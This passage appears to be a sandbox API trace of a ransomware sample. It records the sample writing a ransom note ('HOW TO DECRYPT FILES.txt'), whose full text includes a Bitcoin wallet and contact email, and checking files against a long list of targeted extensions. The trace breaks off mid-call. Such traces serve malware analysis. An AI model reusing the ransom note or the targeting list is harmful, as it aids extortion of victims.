ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.116] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.116] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.116] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c384d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84c384d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84caa8f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1ef800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.116] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.116] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.ni.dll") returned -1 [0105.116] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.ni.dll") returned -1 [0105.116] lstrcmpiA (lpString1="", lpString2="System.Data.Services.ni.dll") returned -1 [0105.116] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\*.*") returned="*.*" [0105.116] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\" [0105.116] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\") returned="" [0105.116] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\HOW TO DECRYPT FILES.txt" [0105.117] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.services\\c335a6ef5339fa917518475c286c8ca4\\how to decrypt files.txt")) returned 0xffffffff [0105.117] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.services\\c335a6ef5339fa917518475c286c8ca4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.138] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.138] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.140] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.140] CloseHandle (hObject=0x90) returned 1 [0105.140] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\", lpString2="System.Data.Services.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll" [0105.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.ems") returned 0 [0105.140] lstrlenA (lpString="*.ems") returned 5 [0105.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.db") returned 0 [0105.141] lstrlenA (lpString="*.db") returned 4 [0105.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.dbf") returned 0 [0105.141] lstrlenA (lpString="*.dbf") returned 5 [0105.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.myox") returned 0 [0105.143] lstrlenA (lpString="*.myox") returned 6 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.myo") returned 0 [0105.143] lstrlenA (lpString="*.myo") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbw") returned 0 [0105.143] lstrlenA (lpString="*.qbw") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbb") returned 0 [0105.143] lstrlenA (lpString="*.qbb") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbm") returned 0 [0105.143] lstrlenA (lpString="*.qbm") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbo") returned 0 [0105.143] lstrlenA (lpString="*.qbo") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbx") returned 0 [0105.143] lstrlenA (lpString="*.qbx") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qba") returned 0 [0105.143] lstrlenA (lpString="*.qba") returned 5 [0105.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qby") returned 0 [0105.144] lstrlenA (lpString="*.qby") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qbj") returned 0 [0105.144] lstrlenA (lpString="*.qbj") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.ofx") returned 0 [0105.144] lstrlenA (lpString="*.ofx") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.qif") returned 0 [0105.144] lstrlenA (lpString="*.qif") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mye") returned 0 [0105.144] lstrlenA (lpString="*.mye") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mbox") returned 0 [0105.144] lstrlenA (lpString="*.mbox") returned 6 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.eml") returned 0 [0105.144] lstrlenA (lpString="*.eml") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.pst") returned 0 [0105.144] lstrlenA (lpString="*.pst") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.ost") returned 0 [0105.144] lstrlenA (lpString="*.ost") returned 5 [0105.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.idx") returned 0 [0105.145] lstrlenA (lpString="*.idx") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.dbx") returned 0 [0105.145] lstrlenA (lpString="*.dbx") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.sql") returned 0 [0105.145] lstrlenA (lpString="*.sql") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mdb") returned 0 [0105.145] lstrlenA (lpString="*.mdb") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.fdb") returned 0 [0105.145] lstrlenA (lpString="*.fdb") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.wab") returned 0 [0105.145] lstrlenA (lpString="*.wab") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.dat") returned 0 [0105.145] lstrlenA (lpString="*.dat") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.txt") returned 0 [0105.145] lstrlenA (lpString="*.txt") returned 5 [0105.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.jpeg") returned 0 [0105.145] lstrlenA (lpString="*.jpeg") returned 6 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.jpg") returned 0 [0105.146] lstrlenA (lpString="*.jpg") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.png") returned 0 [0105.146] lstrlenA (lpString="*.png") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.php") returned 0 [0105.146] lstrlenA (lpString="*.php") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.cs") returned 0 [0105.146] lstrlenA (lpString="*.cs") returned 4 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.cpp") returned 0 [0105.146] lstrlenA (lpString="*.cpp") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.rar") returned 0 [0105.146] lstrlenA (lpString="*.rar") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.zip") returned 0 [0105.146] lstrlenA (lpString="*.zip") returned 5 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.html") returned 0 [0105.146] lstrlenA (lpString="*.html") returned 6 [0105.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.htm") returned 0 [0105.146] lstrlenA (lpString="*.htm") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.xlsx") returned 0 [0105.147] lstrlenA (lpString="*.xlsx") returned 6 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.xls") returned 0 [0105.147] lstrlenA (lpString="*.xls") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mp4") returned 0 [0105.147] lstrlenA (lpString="*.mp4") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.ppt") returned 0 [0105.147] lstrlenA (lpString="*.ppt") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.pptx") returned 0 [0105.147] lstrlenA (lpString="*.pptx") returned 6 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.doc") returned 0 [0105.147] lstrlenA (lpString="*.doc") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.dot") returned 0 [0105.147] lstrlenA (lpString="*.dot") returned 5 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.docx") returned 0 [0105.147] lstrlenA (lpString="*.docx") returned 6 [0105.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.7z") returned 0 [0105.147] lstrlenA (lpString="*.7z") returned 4 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.tar") returned 0 [0105.148] lstrlenA (lpString="*.tar") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.bz2") returned 0 [0105.148] lstrlenA (lpString="*.bz2") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.gz") returned 0 [0105.148] lstrlenA (lpString="*.gz") returned 4 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mkv") returned 0 [0105.148] lstrlenA (lpString="*.mkv") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.eml") returned 0 [0105.148] lstrlenA (lpString="*.eml") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.msg") returned 0 [0105.148] lstrlenA (lpString="*.msg") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.edb") returned 0 [0105.148] lstrlenA (lpString="*.edb") returned 5 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.accdb") returned 0 [0105.148] lstrlenA (lpString="*.accdb") returned 7 [0105.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.odb") returned 0 [0105.149] lstrlenA (lpString="*.odb") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.java") returned 0 [0105.149] lstrlenA (lpString="*.java") returned 6 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.asm") returned 0 [0105.149] lstrlenA (lpString="*.asm") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.pfx") returned 0 [0105.149] lstrlenA (lpString="*.pfx") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.pem") returned 0 [0105.149] lstrlenA (lpString="*.pem") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.p12") returned 0 [0105.149] lstrlenA (lpString="*.p12") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.gpg") returned 0 [0105.149] lstrlenA (lpString="*.gpg") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.vsd") returned 0 [0105.149] lstrlenA (lpString="*.vsd") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.odg") returned 0 [0105.149] lstrlenA (lpString="*.odg") returned 5 [0105.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.raw") returned 0 [0105.149] lstrlenA (lpString="*.raw") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.nef") returned 0 [0105.150] lstrlenA (lpString="*.nef") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.svg") returned 0 [0105.150] lstrlenA (lpString="*.svg") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.psd") returned 0 [0105.150] lstrlenA (lpString="*.psd") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.vmx") returned 0 [0105.150] lstrlenA (lpString="*.vmx") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.vmdk") returned 0 [0105.150] lstrlenA (lpString="*.vmdk") returned 6 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.vdi") returned 0 [0105.150] lstrlenA (lpString="*.vdi") returned 5 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.lay6") returned 0 [0105.150] lstrlenA (lpString="*.lay6") returned 6 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mpeg") returned 0 [0105.150] lstrlenA (lpString="*.mpeg") returned 6 [0105.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.djvu") returned 0 [0105.151] lstrlenA (lpString="*.djvu") returned 6 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.tiff") returned 0 [0105.151] lstrlenA (lpString="*.tiff") returned 6 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.backup") returned 0 [0105.151] lstrlenA (lpString="*.backup") returned 8 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.pdf") returned 0 [0105.151] lstrlenA (lpString="*.pdf") returned 5 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.cert") returned 0 [0105.151] lstrlenA (lpString="*.cert") returned 6 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.docm") returned 0 [0105.151] lstrlenA (lpString="*.docm") returned 6 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.xlsm") returned 0 [0105.151] lstrlenA (lpString="*.xlsm") returned 6 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.dwg") returned 0 [0105.151] lstrlenA (lpString="*.dwg") returned 5 [0105.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.nd") returned 0 [0105.151] lstrlenA (lpString="*.nd") returned 4 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.tlg") returned 0 [0105.152] lstrlenA (lpString="*.tlg") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.lgb") returned 0 [0105.152] lstrlenA (lpString="*.lgb") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mov") returned 0 [0105.152] lstrlenA (lpString="*.mov") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", 